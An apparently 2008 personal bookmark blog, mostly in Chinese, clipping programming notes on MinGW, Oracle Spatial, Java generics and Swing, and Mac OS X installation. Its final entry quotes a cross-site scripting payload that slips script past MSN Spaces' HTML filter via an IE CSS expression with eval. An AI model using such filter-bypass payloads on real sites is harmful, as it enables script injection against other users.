    接下來回到 Mac OS X 安裝畫面 -> 繼續 -> 看到我們剛剛分割那一顆 按繼續 -> 因為硬碟只有設 8GB 的關係有些東西可以不用裝~取消 列表機驅動程式跟語言翻譯(預設的繁體中文不會被取消) 的勾勾 -> JaS Intel 10.4.8 ATA kexts included 要打勾 -> 安裝 -> 檢查 DVD 的視窗請按 略過 接下來就開始安裝囉~ 大約花 25 分鐘可以安裝完畢
... See the original site

Monday, September 08, 2008

MinGW | Minimalist GNU for Windows

MinGW | Minimalist GNU for Windows
A collection of freely available and freely distributable Windows specific header files and import libraries, augmenting the GNU Compiler Collection, (GCC), and its associated tools, (GNU binutils). MinGW provides a complete Open Source programming tool set which is suitable for the development of native Windows programs that do not depend on any 3rd-party C runtime DLLs.
就是unix下可以編譯的東西,也可以拿到minGW編譯

Thursday, September 04, 2008

A simple XML database for your Windows applications

A simple XML database for your Windows applications

Dim sw As System.IO.StreamWriter = New System.IO.StreamWriter("..\mydata.xml")
sw.Write(ds.GetXml.ToString) '//place the xml into the text file
sw.Flush()
sw.Close()

Wednesday, September 03, 2008

Find It! Keep It! : Keep webpages in your own database so you never lose them.

Find It! Keep It! : Keep webpages in your own database so you never lose them.
Find It! Keep It! is a browser with which you can save pages (including Flash videos and javascript) to a database so you never lose them. Later you can browse your database, or search it by tags and content.
  • Commercial
  • Mac (Universal Binary)

Thursday, July 31, 2008

Oracle Spatial Documentation Oracle Spatial 10g Release 2

Oracle Spatial Documentation

Oracle Spatial 10g Release 2 (10.2)
B14255-01 HTML PDF Oracle Spatial User's Guide and Reference
B14254-01 HTML PDF Oracle Spatial GeoRaster
B14256-01 HTML PDF Oracle Spatial Topology and Network Data Models
B14373-01 HTML
Oracle Spatial Java API Reference
Oracle Spatial 10g Release 1 (10.1)
B10826-01 HTML PDF Oracle Spatial User's Guide and Reference
B10827-01 HTML PDF Oracle Spatial GeoRaster
B10828-01 HTML PDF Oracle Spatial Topology and Network Data Models
Oracle Spatial 9.2 Documentation
A96630-01 HTML PDF Oracle Spatial User's Guide and Reference
Oracle Spatial 9.0.1 Documentation
A88805-01 HTML PDF Oracle Spatial User's Guide and Reference
Oracle Spatial 8.1.7 Documentation
A85337-01 HTML PDF Oracle8i Release 3 (8.1.7) Documentation (The Oracle Spatial 8.1.7 User's Guide includes documentation of Coordinate Systems, Linear Referencing, and R-tree Indexing-all of which are production features in 8.1.7.)
Oracle Spatial 8.1.5 & 8.1.6 Documentation
A67295-01 HTML PDF Oracle Spatial User's Guide and Reference
A67298-01 HTML PDF Locator User's Guide

Wednesday, July 30, 2008

AngelikaLanger.com - Java Generics FAQs - Type Parameters - Angelika Langer Training/Consulting

AngelikaLanger.com - Java Generics FAQs - Type Parameters - Angelika Langer Training/Consulting: "Can I create an object whose type is a type parameter?
No, because the compiler does not know how to create objects of an unknown type.
Each object creation is accompied by a constructor call. When we try to create an object whose type is a type parameter then we need an accessible constructor of the unknown type that the type parameter is a place holder for. However, there is no way to make sure that the actual type arguments have the required constructors.

Example (illegal generic object creation):

public final class Pair< A , B > {
public final A fst;
public final B snd;

public Pair() {
this.fst = new A() ; // error
this.snd = new B() ; // error
}
public Pair(A fst, B snd) {
this.fst = fst;
this.snd = snd;
}
}

In the example above, we are trying to invoke the no-argument constructors of two unknown types represented by the type parameters A and B . It is not known whether the actual type arguments will have an accessible no-argument constructor."

Java OO


public abstract class Shape {
public abstract void draw(Canvas c);
}
public class Circle extends Shape {
private int x, y, radius;
public void draw(Canvas c) { ... }
}
public class Rectangle extends Shape {
private int x, y, width, height;
public void draw(Canvas c) { ... }
}

Any drawing will typically contain a number of shapes. Assuming that they are
represented as a list, it would be convenient to have a method in Canvas that draws
them all:

public void drawAll(List shapes) {
for (Shape s: shapes) {
s.draw(this);
}
}

Now, the type rules say that drawAll() can only be called on lists of exactly Shape:
it cannot, for instance, be called on a List. That is unfortunate, since all
the method does is read shapes from the list, so it could just as well be called on a
List. What we really want is for the method to accept a list of any kind of
shape:


public void drawAll(List shapes) { ... }


There is a small but very important difference here: we have replaced the type
List with List. Now drawAll() will accept lists of
any subclass of Shape, so we can now call it on a List if we want.

Generics in the Java Programming Language

generics-tutorial.pdf

Java 6.0 也有類似 C++ 的 template 了
叫做 Generics

JGeometry (Oracle Spatial Java API Reference)

oracle.spatial.geometry
Class JGeometry

/// reading a geometry from database
     ResultSet rs = statement.executeQuery("SELECT geometry FROM states where name='Florida'");
STRUCT st = (oracle.sql.STRUCT) rs.getObject(1);
//convert STRUCT into geometry
JGeometry j_geom = JGeometry.load(st);

// ... manipulate the geometry or create a new JGeometry ...

/// writing a geometry back to database
PreparedStatement ps = connection.prepareStatement("UPDATE states set geometry=? where name='Florida'");
//convert JGeometry instance to DB STRUCT
STRUCT obj = JGeometry.store(j_geom, connection);
ps.setObject(1, obj);
ps.execute();

Tuesday, July 29, 2008

Java: Images - BufferedImage

Java: Images - BufferedImage:

To create a BufferedImage

import java.awt.image.*;
. . .
class Painting extends JPanel {
. . .
BufferedImage grid; // declare the image
. . .
public void paintComponent(Graphics g) {
super.paintComponent(g); // paint background
Graphics2D g2 = (Graphics2D)g; // we need a Graphics2D context

if (grid == null) {
// Compute the grid only one time
int w = this.getWidth();
int h = this.getHeight();
grid = (BufferedImage)(this.createImage(w,h));
Graphics2D gc = grid.createGraphics();
for (int x=0; x<w; x+=10) {gc.drawLine(x, 0, x, h);}
for (int y=0; y<h; y+=10) {gc.drawLine(0, y, w, y);}
}
// Draw the grid from the precomputed image
g2.drawImage(grid, null, 0, 0);
. . . // draw remaining, dynamic, image

The Java Swing tutorial

The Java Swing tutorial

Good Java Swing tutorial

Friday, July 25, 2008

Friday, July 18, 2008

Amazon.com: Numerical Optimization: Jorge Nocedal, Stephen Wright: Books

Amazon.com: Numerical Optimization: Jorge Nocedal, Stephen Wright: Books
Numerical Optimization
另一本推薦

Numerical Recipes in C

Numerical Recipes in C
Numerical Recipes book
這本書的好處是以工程的角度來介紹 linear algebra
後面還有附code 第一版可以免費線上閱讀
學長說: "啥! 你還不知道這本書喔?"
看來是一本必讀經典書
趕緊來看看囉

Third edition

Friday, June 27, 2008

如何突破MSN Spaces的JavaScript防线

如何突破MSN Spaces的JavaScript防线 - MSN space技巧发布 - MSN Space 交流论坛 | MSN Space 社区 | 论
MSN Spaces允许用户在编辑文章或者HTML模块的时候直接加入一些HTML标签,同时为了确保安全性,对可能执行脚本的代码作了严格的过滤。
-不过凡事总有百密一疏的时候,下面的这段代码演示了如何突破Spaces的脚本防线:
<u style="display:none;width:expression(eval(innerText+';color:0'))">
alert('http://0x2e.blogspot.com');outerHTML='';
</u>

实际上在下划线标签之中,你填写的内容都被作为脚本执行。遗憾的是这种办法由于IE Expression的限制,只对IE有效。